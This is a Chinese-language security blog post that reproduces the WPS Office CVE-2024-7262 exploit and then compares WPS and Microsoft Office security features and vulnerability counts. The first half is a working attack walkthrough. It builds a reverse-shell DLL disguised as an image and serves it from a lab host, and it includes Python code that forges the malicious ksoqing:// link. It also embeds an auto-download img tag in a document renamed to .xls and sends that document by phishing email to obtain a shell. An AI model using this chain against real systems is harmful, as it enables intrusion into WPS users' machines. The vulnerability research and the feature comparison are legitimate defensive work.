WPS Office软件0-day漏洞 CVE-2024-7262曝光近半个月后,ESET安全研究人员才发表文章披露漏洞利用的具体细节,我根据该文章对漏洞利用进行了复现,并进一步对比了WPS Office软件和微软Office的安全特性和每年的漏洞情况,有以下两点发现:
CVE-2024-7262漏洞不仅影响海外版(12.2.0.xxxx),今年三月份更新前的国内版本(12.1.0.xxxx)同样受影响,之前很多对该漏洞的预警文章只提到对海外版的特定版本范围有影响(我猜测都是引用国外最早的文章),对国内版没有影响是不正确的;
与微软的Office软件相比,WPS Office软件在安全设计上还有不小差距,预计今后相当长的一段时间内,针对WPS Office软件的漏洞挖掘和利用开始进入爆发期;
关于漏洞的原理在ESET安全研究人员发表的文章中介绍得很清楚,如有需要请自行前往阅读。
1.攻击端准备恶意dll,并提供远程下载
这里我们生成一个能够实现反向连接的dll
图1 生成恶意DLL
为了不容易被发现,可以将Dll1.dll文件名和后缀修改为winter.jpg,对攻击成功没有影响。
图2 修改DLL名称和后缀
开启http服务,提供dll下载
图3 允许DLL被远程下载
代码如下,其中url就是第一步生成的恶意dll(winter.jpg)的下载地址。
import hashlib
import base64
url="http://192.168.122.173:8888/winter.jpg"
md5_hash = hashlib.md5()
md5_hash.update(url.encode('utf-16le'))
md5_url=md5_hash.hexdigest().encode()
filepath=base64.b64encode(b'..\\..\\..\\..\\Temp\\wps\\INetCache\\'+md5_url+b'.').decode()
launchname=base64.b64encode(b'promecefpluginhost.exe').decode()
cmd=base64.b64encode(f'/qingbangong -CefParentID=1 -JSCefServicePath={filepath} '.encode()).decode()
data=f'{cmd}_qingLaunchKey_{launchname}'.encode()
md5_hash = hashlib.md5()
md5_hash.update(data)
token=md5_hash.hexdigest()
print(f'ksoqing://type=ksolaunch&cmd={cmd}&token={token}&launchname={launchname}&ext=dd/')
生成的恶意链接为:
ksoqing://type=ksolaunch&cmd=L3FpbmdiYW5nb25nIC1DZWZQYXJlbnRJRD0xIC1KU0NlZlNlcnZpY2VQYXRoPUxpNWNMaTVjTGk1Y0xpNWNWR1Z0Y0Z4M2NITmNTVTVsZEVOaFkyaGxYR00zT1dFek16RTRPREk0T0RnNE56QmxNVGMyWW1KaU5XTm1NMlUwTURka0xnPT0g&token=6256dc274cd1597b27e1d5f13468cdaa&launchname=cHJvbWVjZWZwbHVnaW5ob3N0LmV4ZQ==&ext=dd/
用微软Office新建一个 Excel文档,随便插入一张图片,编辑超链接,填入上一步生成的恶意链接。
图4 编辑图片链接
然后将文档另存为mhtml文件,并修改mhtml文件,插入<img src=”http://192.168.122.173:8888/winter.jpg”/>
标签,使得文件被打开后自动从远程服务器上下载恶意dll文件。
图5 插入img标签
完成上述操作后将mhtml文件后缀名修改为xls。
我采用发邮件的方式投递恶意文档模拟钓鱼攻击
图6 发送带有恶意文档的邮件
目前测试的发件和收件服务提供商都没有对该恶意样本进行拦截
图7 监听连接
目标主机为win10系统,由于前面制作的dll没有经过混淆,容易被查杀,这里需要临时关闭windows defender,WPS Office的版本为2023冬季更新版12.1.0.16250,打开文档后,点击图片即成功触发漏洞,拿到目标用户shell,如下图所示。
图8 攻击成功
在上述复现中我们发现WPS Office软件在安全设计上不如微软Office软件考虑的周全,如果用 Office Excel打开上述恶意文档,则首先会给出告警,提醒用户文件格式与扩展名不匹配。即使选择“是”打开了文档,由于文档是从网络上下载( MOTW标记技术),也会在受保护的视图中打开,无法点击图片嵌入的恶意链接,如下图所示。而在WPS Office软件中能够直接打开文档允许用户点击链接。
图9 提示文件格式与扩展名不一致
图10 受保护视图打开
下表1我对比了Microsoft Office和WPS Office办公软件具备的典型安全特性,可以看出Microsoft Office从2018年以来不断引入新的安全特性,包括反恶意软件扫描接口、安全文档、应用程序防护和宏默认阻止,以增强其产品的安全性,防范各种可能的恶意文档攻击,而WPS Office仅具备基本的宏安全性设置,并未配备针对漏洞利用攻击的安全特性,软件安全能力薄弱。
表1 Microsoft Office和WPS Office办公软件安全特性对比
安全机制 | 说明 | Microsoft Office | WPS Office |
---|---|---|---|
宏安全性设置 | 允许设置宏运行的安全级别 | 有 | 有 |
受保护的视图(Protected View) | 在"只读"模式下打开文件,默认情况下会阻止所有用户编辑功能和动态内容的执行。 | 有,2010年引入 | 无 |
反恶意软件扫描接口(Anti-Malware Scan Interface,AMSI) | AMSI是一种通用接口标准,允许应用程序和服务与计算机上存在的任何反恶意软件产品集成。 AMSI 为最终用户及其数据、应用程序和工作负荷提供增强的恶意软件防护。 | 有,Office VBA宏集成了该功能,2018年引入 | 无 |
安全文档(Safe Documents) | 支持将文档发送到Microsoft Defender 高级威胁保护(Advanced Threat Protection,ATP)云端检测,确保安全后才能离开保护视图进入编辑模式 | 有,2020年引入 | 无 |
应用程序防护(Application Guard) | “应用程序防护”是一个安全容器,通过基于硬件的虚拟化与其余数据隔离。与“受保护的视图”不同,在“应用程序防护”中打开文件时,可以安全地读取、编辑、打印和保存这些文件,而无需在容器外部重新打开文件。 | 有,2021年引入 | 无 |
宏默认阻止 | 默认阻止来自不安全位置的文档宏的运行 | 有,2023年引入 | 无 |
从软件漏洞暴露的角度,之前我对比了2018年至2022年五年时间里微软公司和金山办公公司对其Office软件产品相关漏洞的通告/修复情况,如下图所示。由于WPSSRC从2019年才开始运行,因此,图中并没有其2018年和2019年的数据。
图11 Office软件近五年相关的漏洞通告/修复情况对比
从图11中可以看出,Microsoft Office每年都有大量的相关漏洞被发现和修复,而WPS Office的漏洞和修复极少。当然,出现这个现象并不是因为WPS Office办公软件更加安全,软件中包含的漏洞更少,而是因为此前安全人员对WPS Office办公软件的关注少,只有少量的漏洞被发现并得到修复,更多的未知漏洞仍隐藏在冰山之下。
但随着WPS Office软件的普及,特别是在政府、金融、国企、高校等单位的广泛应用,敌对APT组织必然会针对性地挖掘我国产办公软件的0-day漏洞,并基于此构造“钓鱼”邮件对我国重点目标精准实施网络攻击。近三年,每年都有WPS Office软件的漏洞被发现,我预计WPS Office软件的漏洞挖掘和利用开始进入爆发期,以后相当长的一段时间,每年都会有新的0-day漏洞被发现和利用,安全厂商和研究人员应该重点关注。